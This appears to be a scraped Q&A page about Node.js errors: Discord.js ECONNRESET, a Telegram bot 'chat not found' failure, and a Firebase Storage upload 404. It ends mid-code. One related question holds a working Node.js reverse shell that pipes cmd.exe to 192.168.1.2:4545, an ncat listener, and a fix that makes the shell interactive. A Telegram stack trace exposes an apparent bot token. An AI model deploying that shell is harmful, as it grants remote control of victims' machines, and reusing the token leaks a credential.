Discord.js bot keeps getting random errors - node.js

so I'm running my bot by typing "node ." in the console and it runs like normal, but after some random time it gives me this error:
It's run on node.js and the bot works fine normally until the error randomly shows. Like I said, it just randomly happens, if tried to find a correlation with commands run in my server and the error showing up, but nothing seems to show. I start my bot as follows:
const Discord = require("discord.js");
const client = new Discord.Client();
client.login("myTokenGoesHere");
the error:
ErrorEvent {
target:
WebSocket {
_events:
[Object: null prototype] {
message: [Function],
open: [Function],
error: [Function],
close: [Function] },
_eventsCount: 4,
_maxListeners: undefined,
readyState: 2,
protocol: '',
_binaryType: 'nodebuffer',
_finalize: [Function: bound finalize],
_closeFrameReceived: false,
_closeFrameSent: false,
_closeMessage: '',
_closeTimer: null,
_finalized: true,
_closeCode: 1006,
_extensions: {},
_isServer: false,
_receiver:
Receiver {
_binaryType: 'nodebuffer',
_extensions: null,
_maxPayload: 0,
_bufferedBytes: 0,
_buffers: null,
_compressed: false,
_payloadLength: 393,
_fragmented: 0,
_masked: false,
_fin: true,
_mask: null,
_opcode: 1,
_totalPayloadLength: 0,
_messageLength: 0,
_fragments: null,
_cleanupCallback: null,
_isCleaningUp: false,
_hadError: false,
_loop: false,
add: [Function: bound add],
onmessage: null,
onclose: null,
onerror: null,
onping: null,
onpong: null,
_state: 0 },
_sender:
Sender {
_extensions: {},
_socket: [TLSSocket],
_firstFragment: true,
_compress: false,
_bufferedBytes: 0,
_deflating: false,
_queue: [] },
_socket:
TLSSocket {
_tlsOptions: [Object],
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: 'gateway.discord.gg',
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events: [Object],
_eventsCount: 4,
connecting: false,
_hadError: false,
_handle: null,
_parent: null,
_host: 'gateway.discord.gg',
_readableState: [ReadableState],
readable: false,
_maxListeners: undefined,
_writableState: [WritableState],
writable: false,
allowHalfOpen: false,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: null,
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage: null,
timeout: 0,
[Symbol(res)]: [TLSWrap],
[Symbol(asyncId)]: 29,
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBytesRead)]: 19058858,
[Symbol(kBytesWritten)]: 19205,
[Symbol(connect-options)]: [Object] },
_error: null,
url: 'wss://gateway.discord.gg/?v=6&encoding=json',
_req: null },
type: 'error',
message: 'read ECONNRESET',
error:
{ Error: read ECONNRESET
at TLSWrap.onStreamRead (internal/stream_base_commons.js:111:27) errno: 'ECONNRESET', code: 'ECONNRESET', syscall: 'read' } }

If you loon at the error it says:
message: 'read ECONNRESET',
This means that the Connection reset this could because of:
Your Internet having issues/lag
Issues at Cloudflares/Discords Servers
Your OS put itself into Sleepmode and cut the connection
If your bot crashes because of it add:
client.on('error', error => {
console.log(error);
// Do something eg. Log the Error
});

Related

Nodejs reverse shell with net.socket

Good morning everyone i am having a issue with reverse shell in NodeJS when i create socket and listen with netcat its perfectly work but when i create new server with net.Server i receive header of shell but it's not interactive, the shell code is like this :
(function(){
var net = require("net"),
child = require("child_process"),
shell = child.spawn("cmd.exe", []);
var client = new net.Socket();
client.connect(4545, "192.168.1.2", function(){
client.pipe(shell.stdin);
shell.stdout.pipe(client);
shell.stderr.pipe(client);
});
return /a/;
})();
and when i listen with netcat i can get the reverse shell
ncat -nvlp 4545
but the problem arises when I want to create a TCP server in nodejs i receive the banner of cmd.exe but without interactivity
this is the code of server part :
const net = require("net");
let server = new net.Server();
server.listen({ host: '192.168.1.2', port: 4545 }, () => {
console.log(`Server listen in 4545`);
});
server.on("close", () => {
console.log('connection closed')
});
server.on("error", (e) => {
if (e.code === "EADDRINUSE") {
console.log("Address in use, retrying...");
setTimeout(() => {
this.server.close();
this.server.listen(4545, '192.168.1.2');
}, 2000);
}
});
server.on("connection", (socket) => {
console.log("new connection");
// HERE I SEND COMMAND WITH ELECTRON JS
socket.write('command');
console.log((socket.pipe(socket));
// Socket is quitted
socket.on("close", () => {
console.log('socket closed')
});
socket.on("end", () => {
console.log(`Client ${socket} disconnected`);
socket.destroy();
});
});
When i send command example 'dir' i receive an object with the pipe which is located above in the server
So the question is how can i receive the result of command when i send it, example receiving the file and directory listing of socket
Socket {
connecting: false,
_hadError: false,
_parent: null,
_host: null,
_readableState: ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: BufferList { head: null, tail: null, length: 0 },
length: 0,
pipes: [Circular],
pipesCount: 1,
flowing: true,
ended: false,
endEmitted: false,
reading: true,
sync: false,
needReadable: true,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
paused: false,
emitClose: false,
autoDestroy: false,
destroyed: false,
defaultEncoding: 'utf8',
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null
},
readable: true,
_events: [Object: null prototype] {
end: [ [Function: onReadableStreamEnd], [Function], [Function] ],
close: [ [Function], [Function] ],
data: [ [Function], [Function: ondata] ],
unpipe: [Function: onunpipe],
error: [Function: onerror],
finish: [Function: bound onceWrapper] { listener: [Function: onfinish] }
},
_eventsCount: 6,
_maxListeners: undefined,
_writableState: WritableState {
objectMode: false,
highWaterMark: 16384,
finalCalled: false,
needDrain: false,
ending: false,
ended: false,
finished: false,
destroyed: false,
decodeStrings: false,
defaultEncoding: 'utf8',
length: 0,
writing: false,
corked: 0,
sync: false,
bufferProcessing: false,
onwrite: [Function: bound onwrite],
writecb: null,
writelen: 0,
afterWriteTickInfo: {
count: 1,
cb: [Function: nop],
stream: [Circular],
state: [Circular]
},
bufferedRequest: null,
lastBufferedRequest: null,
pendingcb: 1,
prefinished: false,
errorEmitted: false,
emitClose: false,
autoDestroy: false,
bufferedRequestCount: 0,
corkedRequestsFree: {
next: null,
entry: null,
finish: [Function: bound onCorkedFinish]
}
},
writable: true,
allowHalfOpen: false,
_sockname: { address: '192.168.1.2', family: 'IPv4', port: 4545},
_pendingData: null,
_pendingEncoding: '',
server: Server {
_events: [Object: null prototype] {
listening: [Function],
close: [Function],
error: [Function],
connection: [Function]
},
_eventsCount: 4,
_maxListeners: undefined,
_connections: 1,
_handle: TCP {
reading: false,
onconnection: [Function: onconnection],
[Symbol(owner)]: [Circular]
},
_usingWorkers: false,
_workers: [],
_unref: false,
allowHalfOpen: false,
pauseOnConnect: false,
_connectionKey: '4:192.168.1.2:4443',
[Symbol(asyncId)]: 16
},
_server: Server {
_events: [Object: null prototype] {
listening: [Function],
close: [Function],
error: [Function],
connection: [Function]
},
_eventsCount: 4,
_maxListeners: undefined,
_connections: 1,
_handle: TCP {
reading: false,
onconnection: [Function: onconnection],
[Symbol(owner)]: [Circular]
},
_usingWorkers: false,
_workers: [],
_unref: false,
allowHalfOpen: false,
pauseOnConnect: false,
_connectionKey: '4:192.168.1.2:4545',
[Symbol(asyncId)]: 16
},
id: 790,
_peername: { address: '192.168.1.2', family: 'IPv4', port: 59793 },
[Symbol(asyncId)]: 18,
[Symbol(kHandle)]: TCP {
reading: true,
onconnection: null,
[Symbol(owner)]: [Circular]
},
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBuffer)]: null,
[Symbol(kBufferCb)]: null,
[Symbol(kBufferGen)]: null,
[Symbol(kBytesRead)]: 0,
[Symbol(kBytesWritten)]: 0
}
After several attempts I managed to add \n in write to enter the code becomes
so the code become
socket.write('command'+ '\n');

How to fix this error? (node:4) UnhandledPromiseRejectionWarning: Error: ETELEGRAM: 400 Bad Request: chat not found

I'm trying to set up a telegram bot. I entered all the data but then this error comes out.
I tried to reload.
I don’t know which fragment to insert.Probably here.
Inserting the code is what happened
errro in getChatMember { Error: ETELEGRAM: 400 Bad Request: chat not found
at request.then.resp (/app/node_modules/node-telegram-bot-api/src/telegram.js:280:15)
at tryCatcher (/app/node_modules/bluebird/js/release/util.js:16:23)
at Promise._settlePromiseFromHandler (/app/node_modules/bluebird/js/release/promise.js:517:31)
at Promise._settlePromise (/app/node_modules/bluebird/js/release/promise.js:574:18)
at Promise._settlePromise0 (/app/node_modules/bluebird/js/release/promise.js:619:10)
at Promise._settlePromises (/app/node_modules/bluebird/js/release/promise.js:699:18)
at _drainQueueStep (/app/node_modules/bluebird/js/release/async.js:138:12)
at _drainQueue (/app/node_modules/bluebird/js/release/async.js:131:9)
at Async._drainQueues (/app/node_modules/bluebird/js/release/async.js:147:5)
at Immediate.Async.drainQueues [as _onImmediate] (/app/node_modules/bluebird/js/release/async.js:17:14)
at runCallback (timers.js:705:18)
at tryOnImmediate (timers.js:676:5)
at processImmediate (timers.js:658:5)
code: 'ETELEGRAM',
response:
IncomingMessage {
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: BufferList { head: null, tail: null, length: 0 },
length: 0,
pipes: null,
pipesCount: 0,
flowing: true,
ended: true,
endEmitted: true,
reading: false,
sync: true,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
paused: false,
emitClose: true,
autoDestroy: false,
destroyed: false,
defaultEncoding: 'utf8',
awaitDrain: 0m,
readingMore: 3mtrue,
decoder: null2m,
encoding: null },
readable: false,
_events:
[Object: null prototype] {
end: [Array],
close: [Array],
data: [Function],
error: [Function] },
_eventsCount: 4,
_maxListeners: undefined,
socket:
TLSSocket {
_tlsOptions: [Object],
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: 'api.telegram.org',
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events: [Object],
_eventsCount: 7,
connecting: false,
_hadError: false,
_handle: [TLSWrap],
_parent: null,
_host: 'api.telegram.org',
_readableState: [ReadableState],
readable: true,
_maxListeners: undefined,
_writableState: [WritableState],
writable: true,
allowHalfOpen: false,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: [TLSWrap],
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage: null,
[Symbol(res)]: [TLSWrap],
[Symbol(asyncId)]: -1,
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBytesRead)]: 0,
[Symbol(kBytesWritten)]: 0,
[Symbol(connect-options)]: [Object] },
connection:
TLSSocket {
_tlsOptions: [Object],
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: 'api.telegram.org',
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events: [Object],
_eventsCount: 7,
connecting: false,
_hadError: false,
_handle: [TLSWrap],
_parent: null,
_host: 'api.telegram.org',
_readableState: [ReadableState],
readable: true,
_maxListeners: undefined,
_writableState: [WritableState],
writable: true,
allowHalfOpen: false,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: [TLSWrap],
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage: null,
[Symbol(res)]: [TLSWrap],
[Symbol(asyncId)]: -1,
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBytesRead)]: 0,
[Symbol(kBytesWritten)]: 0,
[Symbol(connect-options)]: [Object] },
httpVersionMajor: 1,
httpVersionMinor: 1,
httpVersion: '1.1',
complete: true,
headers:
{ server: 'nginx/1.16.1',
date: 'Sat, 31 Aug 2019 19:43:05 GMT',
'content-type': 'application/json',
'content-length': '73',
connection: 'keep-alive',
'strict-transport-security': 'max-age=31536000; includeSubDomains; preload',
'access-control-allow-origin': '*',
'access-control-expose-headers': 'Content-Length,Content-Type,Date,Server,Connection' },
rawHeaders:
[ 'Server',
'nginx/1.16.1',
'Date',
'Sat, 31 Aug 2019 19:43:05 GMT',
'Content-Type',
'application/json',
'Content-Length',
'73',
'Connection',
'keep-alive',
'Strict-Transport-Security',
'max-age=31536000; includeSubDomains; preload',
'Access-Control-Allow-Origin',
'*',
'Access-Control-Expose-Headers',
'Content-Length,Content-Type,Date,Server,Connection' ],
trailers: {},
rawTrailers: [],
aborted: false,
upgrade: false,
url: '',
method: null,
statusCode: 400,
statusMessage: 'Bad Request',
client:
TLSSocket {
_tlsOptions: [Object],
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: 'api.telegram.org',
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events: [Object],
_eventsCount: 7,
connecting: false,
_hadError: false,
_handle: [TLSWrap],
_parent: null,
_host: 'api.telegram.org',
_readableState: [ReadableState],
readable: true,
_maxListeners: undefined,
_writableState: [WritableState],
writable: true,
allowHalfOpen: false,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: [TLSWrap],
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage: null,
[Symbol(res)]: [TLSWrap],
[Symbol(asyncId)]: -1,
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBytesRead)]: 0,
[Symbol(kBytesWritten)]: 0,
[Symbol(connect-options)]: [Object] },
_consuming: false,
_dumped: false,
req:
ClientRequest {
_events: [Object],
_eventsCount: 5,
_maxListeners: undefined,
output: [],
outputEncodings: [],
outputCallbacks: [],
outputSize: 0,
writable: true,
_last: false,
chunkedEncoding: false,
shouldKeepAlive: true,
useChunkedEncodingByDefault: true,
sendDate: false,
_removedConnection: false,
_removedContLen: false,
_removedTE: false,
_contentLength: null,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
socket: [TLSSocket],
connection: [TLSSocket],
_header:
'POST /bot935567004:AAHzn_nFK3ROZZ16TTtoENflnjuD-luYtPc/getChatMember HTTP/1.1\r\nhost: api.telegram.org\r\ncontent-type: application/x-www-form-urlencoded\r\ncontent-length: 40\r\nConnection: keep-alive\r\n\r\n',
_onPendingData: [Function: noopPendingOutput],
agent: [Agent],
socketPath: undefined,
timeout: undefined,
method: 'POST',
path:
'/bot935567004:AAHzn_nFK3ROZZ16TTtoENflnjuD-luYtPc/getChatMember',
_ended: true,
res: [Circular],
aborted: undefined,
timeoutCb: null,
upgradeOrConnect: false,
parser: null,
maxHeadersCount: null,
[Symbol(isCorked)]: false,
[Symbol(outHeadersKey)]: [Object] },
request:
Request {
_events: [Object],
_eventsCount: 5,
_maxListeners: undefined,
method: 'POST',
simple: false,
resolveWithFullResponse: true,
forever: true,
readable: true,
writable: true,
explicitMethod: true,
_qs: [Querystring],
_auth: [Auth],
_oauth: [OAuth],
_multipart: [Multipart],
_redirect: [Redirect],
_tunnel: [Tunnel],
_rp_resolve: [Function],
_rp_reject: [Function],
_rp_promise: [Promise],
_rp_callbackOrig: undefined,
callback: [Function],
_rp_options: [Object],
headers: [Object],
setHeader: [Function],
hasHeader: [Function],
getHeader: [Function],
removeHeader: [Function],
localAddress: undefined,
pool: [Object],
dests: [],
__isRequestRequest: true,
_callback: [Function: RP$callback],
uri: [Url],
proxy: null,
tunnel: true,
setHost: true,
originalCookieHeader: undefined,
_disableCookies: true,
_jar: undefined,
port: 443,
host: 'api.telegram.org',
body: 'chat_id=-1001457333935&user_id=749901319',
path:
'/bot935567004:AAHzn_nFK3ROZZ16TTtoENflnjuD-luYtPc/getChatMember',
httpModule: [Object],
agentClass: [Function],
agentOptions: [Object],
agent: [Agent],
_started: true,
href:
'https://api.telegram.org/bot935567004:AAHzn_nFK3ROZZ16TTtoENflnjuD-luYtPc/getChatMember',
req: [ClientRequest],
ntick: true,
response: [Circular],
originalHost: 'api.telegram.org',
originalHostHeaderName: 'host',
responseContent: [Circular],
_destdata: true,
_ended: true,
_callbackCalled: true },
toJSON: [Function: responseToJSON],
caseless: Caseless { dict: [Object] },
body:
{ ok: false,
error_code: 400,
description: 'Bad Request: chat not found' } } }
(node:4) UnhandledPromiseRejectionWarning: TypeError: Cannot destructure property `status` of 'undefined' or 'null'.
at TelegramBot.bot.on (/app/app.js:201:22)
at process._tickCallback (internal/process/next_tick.js:68:7)
(node:4) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:4) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
^C
(node:4) UnhandledPromiseRejectionWarning:
Error: ETELEGRAM: 400 Bad Request: chat not found
at request.then.resp (/app/node_modules/node-telegram-bot-api/src/telegram.js:280:15)
at tryCatcher (/app/node_modules/bluebird/js/release/util.js:16:23)
at Promise._settlePromiseFromHandler (/app/node_modules/bluebird/js/release/promise.js:517:31)
at Promise._settlePromise (/app/node_modules/bluebird/js/release/promise.js:574:18)
at Promise._settlePromise0 (/app/node_modules/bluebird/js/release/promise.js:619:10)
at Promise._settlePromises (/app/node_modules/bluebird/js/release/promise.js:699:18)
at _drainQueueStep (/app/node_modules/bluebird/js/release/async.js:138:12)
at _drainQueue (/app/node_modules/bluebird/js/release/async.js:131:9)
at Async._drainQueues (/app/node_modules/bluebird/js/release/async.js:147:5)
at Immediate.Async.drainQueues [as _onImmediate] (/app/node_modules/bluebird/js/release/async.js:17:14)
at runCallback (timers.js:705:18)
at tryOnImmediate (timers.js:676:5)
at processImmediate (timers.js:658:5)
(node:4) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:4) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
You have to catch promise errors by adding catch to send message , so please add catch block in all send message function and check which one case that error
bot.sendMessage(message.chat.id, text, params).catch(e => console.log("in 1", e) );
Adding catch in promise chain will prevent logging warn message but it will print an error message 400 Bad Request: chat not found ;
I expect that the error could be here please log schema.ref and make sure that is a valid chat id.
schema.ref = Number(message.text.split("/start ")[1]);
bot.sendMessage(Number(message.text.split("/start ")[1]), `💣 Вы пригласили пользователя, вам начислено <b>${settings.ppr}₽</b>`, {
parse_mode: "HTML"
});
Full example to track the issue :
bot.on("message", async (message) => {
let ban = await Ban.findOne({ id: message.from.id });
if(ban) return;
message.send = (text, params , method ) => bot.sendMessage(message.chat.id, text, params).catch(e=> console.log("errro in " + method , e) ) ;
await bot.getMe().catch(e=> console.log("errro in getMe" , e) );
$menu = [];
keyboards.main.map((x) => $menu.push(x));
if(admins.find((x) => x === message.from.id)) $menu.push(["⚡️ Админка"])
User.findOne({ id: message.from.id }).then(async ($user) => {
if($user) return;
let schema = {
id: message.from.id,
balance: 0,
ref: 0,
epr: 0,
eps: 0,
epv: 0,
menu: "",
adminmenu: "",
prfUser: "",
prp: {},
regDate: `${new Date().getDate()}.${new Date().getMonth() + 1}.${new Date().getFullYear()}`,
verify: false
}
if(Number(message.text.split("/start ")[1])) {
schema.ref = Number(message.text.split("/start ")[1]);
bot.sendMessage(Number(message.text.split("/start ")[1]), `💣 Вы пригласили пользователя, вам начислено <b>${settings.ppr}₽</b>`, {
parse_mode: "HTML"
}).catch(e => console.log("error in 💣 Вы пригласили ", e ));
let ref = await User.findOne({ id: Number(message.text.split("/start ")[1]) });
if(ref) {
await ref.inc("balance", settings.ppr);
message.send(`Благодарю, что вы воспользовались приглашением пользователя!` , {} , "Благодарю");
}
}
if(typeof(message.text.split("/start ")[1]) === "string") {
let link = await Ref.findOne({ name: message.text.split("/start ")[1] });
if(link) {
if(!link.refs.find((x) => x === message.from.id)) {
link.refs.push(message.from.id);
await link.save();
}
}
}
let user = new User(schema);
await user.save();
return message.send(`Выберите действие. ⤵️`, {
reply_markup: {
keyboard: $menu,
resize_keyboard: true
}
},"Выберите");
});
message.user = await User.findOne({ id: message.from.id });
let { status } = await bot.getChatMember(-1001457333935, message.from.id).catch(e=> console.log("errro in getChatMember" , e) );;
if(status === 'left') return message.send(`➕ *Для того, чтобы* начать/продолжить работу с ботом, *вы должны быть подписанным* на канал https://t.me/joinchat/AAAAAFbdJq9JTae6gCB9ag`,
{
parse_mode: 'Markdown',
reply_markup: {
inline_keyboard: [
[{ text: '➕ Подписаться', url: 'https://t.me/joinchat/AAAAAFbdJq9JTae6gCB9ag' }]
]
}
}, "➕ *Для того, ");
})

Can't upload to google cloud or firebase storage bucket from nodejs

I have been trying to upload some images to my firebase storage bucket .
I have followed this official docs :-
https://firebase.google.com/docs/storage/admin/start
and https://googlecloudplatform.github.io/google-cloud-node/#/docs/storage/latest/storage/bucket
I am able to see the files which are already present in the bucket (these files were stored there using an android app)
But I'm not able to upload local files from nodejs's admin.storage module .
Here is the code :
admin.initializeApp({
credential: admin.credential.cert(serviceAccount),
databaseURL: "https://myprojectid.firebaseio.com/" ,
storageBucket : "myprojectid.appspot.com/"
});
bucket = admin.storage().bucket() ;
bucket.upload('./mylocalfile.jpg' , (err , file , response)=>{
console.log(err) ; //always gives me err
console.log(file) ; //gives undefined
}) ;
But bucket.getFiles().then(objects=>console.log(objects)) ; works perfectly and prints the files present in the root .
How to fix this ?
Here is the error it prints when console logging err :
{ ApiError: Not Found
at Object.parseHttpRespMessage (C:\Users\Natesh\Desktop\AttentionPlease_backend\functions\node_modules\firebase-admin\node_modules\#google-cloud\common\src\util.js:156:33)
at Object.handleResp (C:\Users\Natesh\Desktop\AttentionPlease_backend\functions\node_modules\firebase-admin\node_modules\#google-cloud\common\src\util.js:131:18)
at C:\Users\Natesh\Desktop\AttentionPlease_backend\functions\node_modules\firebase-admin\node_modules\#google-cloud\common\src\util.js:465:12
at Request.onResponse [as _callback] (C:\Users\Natesh\Desktop\AttentionPlease_backend\functions\node_modules\firebase-admin\node_modules\retry-request\index.js:179:7)
at Request.self.callback (C:\Users\Natesh\Desktop\AttentionPlease_backend\functions\node_modules\firebase-admin\node_modules\request\request.js:186:22)
at emitTwo (events.js:106:13)
at Request.emit (events.js:191:7)
at Request.<anonymous> (C:\Users\Natesh\Desktop\AttentionPlease_backend\functions\node_modules\firebase-admin\node_modules\request\request.js:1163:10)
at emitOne (events.js:96:13)
at Request.emit (events.js:188:7)
code: 404,
errors: [],
response:
IncomingMessage {
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: [Object],
length: 0,
pipes: null,
pipesCount: 0,
flowing: true,
ended: true,
endEmitted: true,
reading: false,
sync: true,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
defaultEncoding: 'utf8',
ranOut: false,
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: false,
domain:
Domain {
domain: null,
_events: [Object],
_eventsCount: 1,
_maxListeners: undefined,
members: [] },
_events:
{ end: [Object],
close: [Object],
data: [Function],
error: [Function] },
_eventsCount: 4,
_maxListeners: undefined,
socket:
TLSSocket {
_tlsOptions: [Object],
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: null,
npnProtocol: false,
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events: [Object],
_eventsCount: 9,
connecting: false,
_hadError: false,
_handle: [Object],
_parent: null,
_host: 'www.googleapis.com',
_readableState: [Object],
readable: true,
domain: [Object],
_maxListeners: undefined,
_writableState: [Object],
writable: true,
allowHalfOpen: false,
destroyed: false,
_bytesDispatched: 4047,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: [Object],
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage: null,
read: [Function],
_consuming: true,
_idleTimeout: -1,
_idleNext: null,
_idlePrev: null,
_idleStart: 1307656 },
connection:
TLSSocket {
_tlsOptions: [Object],
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: null,
npnProtocol: false,
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events: [Object],
_eventsCount: 9,
connecting: false,
_hadError: false,
_handle: [Object],
_parent: null,
_host: 'www.googleapis.com',
_readableState: [Object],
readable: true,
domain: [Object],
_maxListeners: undefined,
_writableState: [Object],
writable: true,
allowHalfOpen: false,
destroyed: false,
_bytesDispatched: 4047,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: [Object],
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage: null,
read: [Function],
_consuming: true,
_idleTimeout: -1,
_idleNext: null,
_idlePrev: null,
_idleStart: 1307656 },
httpVersionMajor: 1,
httpVersionMinor: 1,
httpVersion: '1.1',
complete: true,
headers:
{ 'x-guploader-uploadid': 'AEnB2UqADzuHb4O7UjdBAui1cDWeLNO4s0YuT2krCPoYIHaUrYPjXRH8rBU0mcSi9n7sie11PhALTN2vOKkhykW0apqTbrNB9Q',
vary: 'Origin, X-Origin',
'content-type': 'text/html; charset=UTF-8',
'content-length': '9',
date: 'Sat, 17 Mar 2018 13:24:19 GMT',
server: 'UploadServer',
'alt-svc': 'hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303335,quic=":443"; ma=2592000; v="41,39,35"' },
rawHeaders:
[ 'X-GUploader-UploadID',
'AEnB2UqADzuHb4O7UjdBAui1cDWeLNO4s0YuT2krCPoYIHaUrYPjXRH8rBU0mcSi9n7sie11PhALTN2vOKkhykW0apqTbrNB9Q',
'Vary',
'Origin',
'Vary',
'X-Origin',
'Content-Type',
'text/html; charset=UTF-8',
'Content-Length',
'9',
'Date',
'Sat, 17 Mar 2018 13:24:19 GMT',
'Server',
'UploadServer',
'Alt-Svc',
'hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303335,quic=":443"; ma=2592000; v="41,39,35"' ],
trailers: {},
rawTrailers: [],
upgrade: false,
url: '',
method: null,
statusCode: 404,
statusMessage: 'Not Found',
client:
TLSSocket {
_tlsOptions: [Object],
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: null,
npnProtocol: false,
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events: [Object],
_eventsCount: 9,
connecting: false,
_hadError: false,
_handle: [Object],
_parent: null,
_host: 'www.googleapis.com',
_readableState: [Object],
readable: true,
domain: [Object],
_maxListeners: undefined,
_writableState: [Object],
writable: true,
allowHalfOpen: false,
destroyed: false,
_bytesDispatched: 4047,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: [Object],
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage: null,
read: [Function],
_consuming: true,
_idleTimeout: -1,
_idleNext: null,
_idlePrev: null,
_idleStart: 1307656 },
_consuming: true,
_dumped: false,
req:
ClientRequest {
domain: [Object],
_events: [Object],
_eventsCount: 6,
_maxListeners: undefined,
output: [],
outputEncodings: [],
outputCallbacks: [],
outputSize: 0,
writable: true,
_last: false,
upgrading: false,
chunkedEncoding: true,
shouldKeepAlive: true,
useChunkedEncodingByDefault: true,
sendDate: false,
_removedHeader: [Object],
_contentLength: null,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
socket: [Object],
connection: [Object],
_header: 'POST /upload/storage/v1/b/myprojectid.appspot.com//o?uploadType=multipart&name=profile HTTP/1.1\r\nUser-Agent: gcloud-node-storage/1.4.0\r\nx-goog-api-client: gl-node/6.11.5 gccl/1.4.0\r\nAuthorization: Bearer ya29.c.<PLACEHOLDER_FOR_SOME_LONG_AUTH_ID>\r\nhost: www.googleapis.com\r\naccept-encoding: gzip, deflate\r\ntransfer-encoding: chunked\r\ncontent-type: multipart/related; boundary=6e012a90-2cb1-4c46-9de5-bb75cb5949ea\r\nConnection: keep-alive\r\n\r\n',
_headers: [Object],
_headerNames: [Object],
_onPendingData: null,
agent: [Object],
socketPath: undefined,
timeout: undefined,
method: 'POST',
path: '/upload/storage/v1/b/myprojectid.appspot.com//o?uploadType=multipart&name=profile',
_ended: true,
parser: null,
timeoutCb: null,
res: [Circular] },
request:
Request {
domain: [Object],
_events: [Object],
_eventsCount: 5,
_maxListeners: undefined,
timeout: 60000,
gzip: true,
forever: true,
pool: [Object],
method: 'POST',
uri: [Object],
headers: [Object],
callback: [Function],
readable: true,
writable: true,
explicitMethod: true,
_qs: [Object],
_auth: [Object],
_oauth: [Object],
_multipart: [Object],
_redirect: [Object],
_tunnel: [Object],
setHeader: [Function],
hasHeader: [Function],
getHeader: [Function],
removeHeader: [Function],
localAddress: undefined,
dests: [],
__isRequestRequest: true,
_callback: [Function: onResponse],
proxy: null,
tunnel: true,
setHost: true,
originalCookieHeader: undefined,
_disableCookies: true,
_jar: undefined,
port: 443,
host: 'www.googleapis.com',
url: [Object],
path: '/upload/storage/v1/b/myprojectid.appspot.com//o?uploadType=multipart&name=profile',
httpModule: [Object],
agentClass: [Object],
agentOptions: [Object],
agent: [Object],
src: [Object],
_started: true,
href: 'https://www.googleapis.com/upload/storage/v1/b/myprojectid.appspot.com//o?uploadType=multipart&name=profile',
req: [Object],
ntick: true,
response: [Circular],
originalHost: 'www.googleapis.com',
originalHostHeaderName: 'host',
responseContent: [Circular],
_destdata: true,
_ended: true,
_callbackCalled: true },
toJSON: [Function: responseToJSON],
caseless: Caseless { dict: [Object] },
read: [Function],
body: 'Not Found' },
message: 'Not Found' }
Unfortunately the 'upload' function only receive path to local file or url, so it cause some complexity when implement uploading file REST api by cloud functions.
I'm guessing it shouldn't be a proper way to upload a file to cloud function server and upload a local file to cloud storage.
Here's what I accomplished to make upload endpoint to firebase (gcloud) storage using multer to get file from the request, then convert it to data and use save function to upload.
const functions = require('firebase-functions');
const admin = require('firebase-admin');
const express = require('express');
const multer = require('multer');
const app = express();
const fileUpload = multer();
admin.initializeApp(.......);
/*
* Upload File
**/
